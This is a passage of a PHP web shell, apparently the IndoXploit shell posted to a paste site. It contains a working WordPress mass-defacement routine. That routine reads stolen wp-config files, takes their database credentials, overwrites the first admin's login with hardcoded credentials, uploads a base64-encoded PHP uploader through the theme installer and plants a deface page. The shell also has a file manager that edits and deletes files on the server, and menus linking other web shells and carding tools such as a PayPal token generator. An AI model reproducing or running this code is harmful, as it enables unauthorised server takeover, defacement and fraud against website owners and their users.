  2101.         <input type='text' name='script' height='10' size='50' placeholder='Hacked By Bayz21' required><br>
  2102.         <input type='submit' style='width: 450px;' name='auto_deface_wp' value='Hajar!!'>
  2103.         </form>
  2104.         <br><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span>
  2105.         </center>";
  2106.     }
  2107. } elseif($_GET['do'] == 'auto_dwp2') {
  2108.     if($_POST['auto_deface_wp']) {
  2109.         function anucurl($sites) {
  2110.             $ch = curl_init($sites);
  2111.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2112.                   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2113.                   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  2114.                   curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  2115.                   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  2116.                   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  2117.                   curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  2118.                   curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  2119.                   curl_setopt($ch, CURLOPT_COOKIESESSION,true);
  2120.             $data = curl_exec($ch);
  2121.                   curl_close($ch);
  2122.             return $data;
  2123.         }
  2124.         function lohgin($cek, $web, $userr, $pass, $wp_submit) {
  2125.             $post = array(
  2126.                    "log" => "$userr",
  2127.                    "pwd" => "$pass",
  2128.                    "rememberme" => "forever",
  2129.                    "wp-submit" => "$wp_submit",
  2130.                    "redirect_to" => "$web",
  2131.                    "testcookie" => "1",
  2132.                    );
  2133.             $ch = curl_init($cek);
  2134.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2135.                   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2136.                   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  2137.                   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  2138.                   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  2139.                   curl_setopt($ch, CURLOPT_POST, 1);
  2140.                   curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  2141.                   curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  2142.                   curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  2143.                   curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  2144.             $data = curl_exec($ch);
  2145.                   curl_close($ch);
  2146.             return $data;
  2147.         }
  2148.         $link = explode("\r\n", $_POST['link']);
  2149.         $script = htmlspecialchars($_POST['script']);
  2150.         $user = "bayz211";
  2151.         $pass = "madz21";
  2152.         $passx = md5($pass);
  2153.         foreach($link as $dir_config) {
  2154.             $config = anucurl($dir_config);
  2155.             $dbhost = ambilkata($config,"DB_HOST', '","'");
  2156.             $dbuser = ambilkata($config,"DB_USER', '","'");
  2157.             $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  2158.             $dbname = ambilkata($config,"DB_NAME', '","'");
  2159.             $dbprefix = ambilkata($config,"table_prefix  = '","'");
  2160.             $prefix = $dbprefix."users";
  2161.             $option = $dbprefix."options";
  2162.             $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  2163.             $db = mysql_select_db($dbname);
  2164.             $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  2165.             $result = mysql_fetch_array($q);
  2166.             $id = $result[ID];
  2167.             $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  2168.             $result2 = mysql_fetch_array($q2);
  2169.             $target = $result2[option_value];
  2170.             if($target == '') {                
  2171.                 echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
  2172.             } else {
  2173.                 echo "[+] $target <br>";
  2174.             }
  2175.             $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
  2176.             if(!$conn OR !$db OR !$update) {
  2177.                 echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
  2178.                 mysql_close($conn);
  2179.             } else {
  2180.                 $site = "$target/wp-login.php";
  2181.                 $site2 = "$target/wp-admin/theme-install.php?upload";
  2182.                 $b1 = anucurl($site2);
  2183.                 $wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
  2184.                 $b = lohgin($site, $site2, $user, $pass, $wp_sub);
  2185.                 $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
  2186.                 $upload3 = base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
  2187.                 $www = "m.php";
  2188.                 $fp5 = fopen($www,"w");
  2189.                 fputs($fp5,$upload3);
  2190.                 $post2 = array(
  2191.                         "_wpnonce" => "$anu2",
  2192.                         "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
  2193.                         "themezip" => "@$www",
  2194.                         "install-theme-submit" => "Install Now",
  2195.                         );
  2196.                 $ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
  2197.                       curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2198.                       curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2199.                       curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  2200.                       curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  2201.                       curl_setopt($ch, CURLOPT_POST, 1);
  2202.                       curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
  2203.                       curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  2204.                       curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  2205.                       curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  2206.                 $data3 = curl_exec($ch);
  2207.                       curl_close($ch);
  2208.                 $y = date("Y");
  2209.                 $m = date("m");
  2210.                 $namafile = "id.php";
  2211.                 $fpi = fopen($namafile,"w");
  2212.                 fputs($fpi,$script);
  2213.                 $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
  2214.                        curl_setopt($ch6, CURLOPT_POST, true);
  2215.                        curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
  2216.                        curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
  2217.                        curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
  2218.                        curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
  2219.                        curl_setopt($ch6, CURLOPT_COOKIESESSION,true);
  2220.                 $postResult = curl_exec($ch6);
  2221.                        curl_close($ch6);
  2222.                 $as = "$target/k.php";
  2223.                 $bs = anucurl($as);
  2224.                 if(preg_match("#$script#is", $bs)) {
  2225.                     echo "[+] <font color='lime'>berhasil mepes...</font><br>";
  2226.                     echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
  2227.                     } else {
  2228.                     echo "[-] <font color='red'>gagal mepes...</font><br>";
  2229.                     echo "[!!] coba aja manual: <br>";
  2230.                     echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
  2231.                     echo "[+] username: <font color=lime>$user</font><br>";
  2232.                     echo "[+] password: <font color=lime>$pass</font><br><br>";    
  2233.                     }
  2234.                 mysql_close($conn);
  2235.             }
  2236.         }
  2237.     } else {
  2238.         echo "<center><h1>WordPress Auto Deface V.2</h1>
  2239.         <form method='post'>
  2240.         Link Config: <br>
  2241.         <textarea name='link' placeholder='http://target.com/idx_config/user-config.txt' style='width: 450px; height:250px;'></textarea><br>
  2242.         <input type='text' name='script' height='10' size='50' placeholder='Hacked By Bayz2' required><br>
  2243.         <input type='submit' style='width: 450px;' name='auto_deface_wp' value='Hajar!!'>
  2244.         </form></center>";
  2245.     }
  2246. } elseif($_GET['act'] == 'newfile') {
  2247.     if($_POST['new_save_file']) {
  2248.         $newfile = htmlspecialchars($_POST['newfile']);
  2249.         $fopen = fopen($newfile, "a+");
  2250.         if($fopen) {
  2251.             $act = "<script>window.location='?act=edit&dir=".$dir."&file=".$_POST['newfile']."';</script>";
  2252.         } else {
  2253.             $act = "<font color=red>permission denied</font>";
  2254.         }
  2255.     }
  2256.     echo $act;
  2257.     echo "<form method='post'>
  2258.     Filename: <input type='text' name='newfile' value='$dir/newfile.php' style='width: 450px;' height='10'>
  2259.     <input type='submit' name='new_save_file' value='Submit'>
  2260.     </form>";
  2261. } elseif($_GET['act'] == 'newfolder') {
  2262.     if($_POST['new_save_folder']) {
  2263.         $new_folder = $dir.'/'.htmlspecialchars($_POST['newfolder']);
  2264.         if(!mkdir($new_folder)) {
  2265.             $act = "<font color=red>permission denied</font>";
  2266.         } else {
  2267.             $act = "<script>window.location='?dir=".$dir."';</script>";
  2268.         }
  2269.     }
  2270.     echo $act;
  2271.     echo "<form method='post'>
  2272.     Folder Name: <input type='text' name='newfolder' style='width: 450px;' height='10'>
  2273.     <input type='submit' name='new_save_folder' value='Submit'>
  2274.     </form>";
  2275. } elseif($_GET['act'] == 'rename_dir') {
  2276.     if($_POST['dir_rename']) {
  2277.         $dir_rename = rename($dir, "".dirname($dir)."/".htmlspecialchars($_POST['fol_rename'])."");
  2278.         if($dir_rename) {
  2279.             $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
  2280.         } else {
  2281.             $act = "<font color=red>permission denied</font>";
  2282.         }
  2283.     echo "".$act."<br>";
  2284.     }
  2285.     echo "<form method='post'>
  2286.     <input type='text' value='".basename($dir)."' name='fol_rename' style='width: 450px;' height='10'>
  2287.     <input type='submit' name='dir_rename' value='rename'>
  2288.     </form>";
  2289. } elseif($_GET['act'] == 'delete_dir') {
  2290.     function Delete($path)
  2291. {
  2292.     if (is_dir($path) === true)
  2293.     {
  2294.         $files = array_diff(scandir($path), array('.', '..'));
  2295.         foreach ($files as $file)
  2296.         {
  2297.             Delete(realpath($path) . '/' . $file);
  2298.         }
  2299.         return rmdir($path);
  2300.     }
  2301.     else if (is_file($path) === true)
  2302.     {
  2303.         return unlink($path);
  2304.     }
  2305.     return false;
  2306. }
  2307.     $delete_dir = Delete($dir);
  2308.     if($delete_dir) {
  2309.         $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
  2310.     } else {
  2311.         $act = "<font color=red>could not remove ".basename($dir)."</font>";
  2312.     }
  2313.     echo $act;
  2314. } elseif($_GET['act'] == 'view') {
  2315.     echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'><b>view</b></a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  2316.     echo "<textarea readonly>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>";
  2317. } elseif($_GET['act'] == 'edit') {
  2318.     if($_POST['save']) {
  2319.         $save = file_put_contents($_GET['file'], $_POST['src']);
  2320.         if($save) {
  2321.             $act = "<font color=lime>Saved!</font>";
  2322.         } else {
  2323.             $act = "<font color=red>permission denied</font>";
  2324.         }
  2325.     echo "".$act."<br>";
  2326.     }
  2327.     echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'><b>edit</b></a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  2328.     echo "<form method='post'>
  2329.     <textarea name='src'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br>
  2330.     <input type='submit' value='Save' name='save' style='width: 500px;'>
  2331.     </form>";
  2332. } elseif($_GET['act'] == 'rename') {
  2333.     if($_POST['do_rename']) {
  2334.         $rename = rename($_GET['file'], "$dir/".htmlspecialchars($_POST['rename'])."");
  2335.         if($rename) {
  2336.             $act = "<script>window.location='?dir=".$dir."';</script>";
  2337.         } else {
  2338.             $act = "<font color=red>permission denied</font>";
  2339.         }
  2340.     echo "".$act."<br>";
  2341.     }
  2342.     echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'><b>rename</b></a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  2343.     echo "<form method='post'>
  2344.     <input type='text' value='".basename($_GET['file'])."' name='rename' style='width: 450px;' height='10'>
  2345.     <input type='submit' name='do_rename' value='rename'>
  2346.     </form>";
  2347. } elseif($_GET['act'] == 'delete') {
  2348.     $delete = unlink($_GET['file']);
  2349.     if($delete) {
  2350.         $act = "<script>window.location='?dir=".$dir."';</script>";
  2351.     } else {
  2352.         $act = "<font color=red>permission denied</font>";
  2353.     }
  2354.     echo $act;
  2355. }else {
  2356.     if(is_dir($dir) == true) {
  2357.         echo '<table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
  2358.         <tr>
  2359.         <th class="th_home"><center>Name</center></th>
  2360.         <th class="th_home"><center>Type</center></th>
  2361.         <th class="th_home"><center>Size</center></th>
  2362.         <th class="th_home"><center>Last Modified</center></th>
  2363.         <th class="th_home"><center>Permission</center></th>
  2364.         <th class="th_home"><center>Action</center></th>
  2365.         </tr>';
  2366.         $scandir = scandir($dir);
  2367.         foreach($scandir as $dirx) {
  2368.             $dtype = filetype("$dir/$dirx");
  2369.             $dtime = date("F d Y g:i:s", filemtime("$dir/$dirx"));
  2370.             if(!is_dir("$dir/$dirx")) continue;
  2371.             if($dirx === '..') {
  2372.                 $href = "<a href='?dir=".dirname($dir)."'>$dirx</a>";
  2373.             } elseif($dirx === '.') {
  2374.                 $href = "<a href='?dir=$dir'>$dirx</a>";
  2375.             } else {
  2376.                 $href = "<a href='?dir=$dir/$dirx'>$dirx</a>";
  2377.             }
  2378.             if($dirx === '.' || $dirx === '..') {
  2379.                 $act_dir = "<a href='?act=newfile&dir=$dir'>newfile</a> | <a href='?act=newfolder&dir=$dir'>newfolder</a>";
  2380.                 } else {
  2381.                 $act_dir = "<a href='?act=rename_dir&dir=$dir/$dirx'>rename</a> | <a href='?act=delete_dir&dir=$dir/$dirx'>delete</a>";
  2382.             }
  2383.             echo "<tr>";
  2384.             echo "<td class='td_home'><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>$href</td>";
  2385.             echo "<td class='td_home'><center>$dtype</center></td>";
  2386.             echo "<td class='td_home'><center>-</center></th>";
  2387.             echo "<td class='td_home'><center>$dtime</center></td>";
  2388.             echo "<td class='td_home'><center>".w("$dir/$dirx",perms("$dir/$dirx"))."</center></td>";
  2389.             echo "<td class='td_home' style='padding-left: 15px;'>$act_dir</td>";
  2390.         }
  2391.         echo "</tr>";
  2392.         foreach($scandir as $file) {
  2393.             $ftype = filetype("$dir/$file");
  2394.             $ftime = date("F d Y g:i:s", filemtime("$dir/$file"));
  2395.             $size = filesize("$dir/$file")/1024;
  2396.             $size = round($size,3);
  2397.             if($size > 1024) {
  2398.                 $size = round($size/1024,2). 'MB';
  2399.             } else {
  2400.                 $size = $size. 'KB';
  2401.             }
  2402.             if(!is_file("$dir/$file")) continue;
  2403.             echo "<tr>";
  2404.             echo "<td class='td_home'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href='?act=view&dir=$dir&file=$dir/$file'>$file</a></td>";
  2405.             echo "<td class='td_home'><center>$ftype</center></td>";
  2406.             echo "<td class='td_home'><center>$size</center></td>";
  2407.             echo "<td class='td_home'><center>$ftime</center></td>";
  2408.             echo "<td class='td_home'><center>".w("$dir/$file",perms("$dir/$file"))."</center></td>";
  2409.             echo "<td class='td_home' style='padding-left: 15px;'><a href='?act=edit&dir=$dir&file=$dir/$file'>edit</a> | <a href='?act=rename&dir=$dir&file=$dir/$file'>rename</a> | <a href='?act=delete&dir=$dir&file=$dir/$file'>delete</a> | <a href='?act=download&dir=$dir&file=$dir/$file'>download</a></td>";
  2410.         }
  2411.         echo "</tr></table>";
  2412.     } else {
  2413.         echo "<font color=red>can't open directory</font>";
  2414.     }
  2415.     }
  2416. echo "<center><hr><form>
  2417. <select onchange='if (this.value) window.open(this.value);'>
  2418.   <option selected='selected' value=''> Tools Creator </option>
  2419.   <option value='$ling=wso'>WSO 2.8.1</option>
  2420.   <option value='$ling=injection'>1n73ction v3</option>
  2421.   <option value='$ling=wk'>WHMCS Killer</option>
  2422.   <option value='$ling=adminer'>Adminer</option>
  2423.   <option value='$ling=b374k'>b374k Shell</option>
  2424.   <option value='$ling=b374k323'>b374k 3.2</option>  
  2425.   <option value='$ling=bh'>BlackHat Shell</option>      
  2426.   <option value='$ling=dhanus'>Dhanush Shell</option>    
  2427.   <option value='$ling=r57'>R57 Shell</option>    
  2428. <option value='$ling=encodedecode'>Encode Decode</option>    
  2429. <option value='$ling=r57'>R57 Shell</option>    
  2430. </select>
  2431. <select onchange='if (this.value) window.open(this.value);'>
  2432.   <option selected='selected' value=''> Tools Carder </option>
  2433.   <option value='$ling=extractor'>DB Email Extractor</option>
  2434.   <option value='$ling=promailerv2'>Pro Mailer V2</option>    
  2435.   <option value='$ling=bukalapak'>BukaLapak Checker</option>        
  2436.   <option value='$ling=tokopedia'>TokoPedia Checker</option>  
  2437.   <option value='$ling=tokenpp'>Paypal Token Generator</option>  
  2438.   <option value='$ling=mailer'>Mailer</option>  
  2439.   <option value='$ling=gamestopceker'>GamesTop Checker</option>
  2440.   </select>
  2441. <noscript><input type='submit' value='Submit'></noscript>
  2442. </form>Copyright &copy; ".date("Y")." - <a href='http://indoxploit.or.id/' target='_blank'><font color=lime>IndoXploit</font></a> </center>";
  2443. ?>
  2444. </html>
Add Comment
Please, Sign In to add comment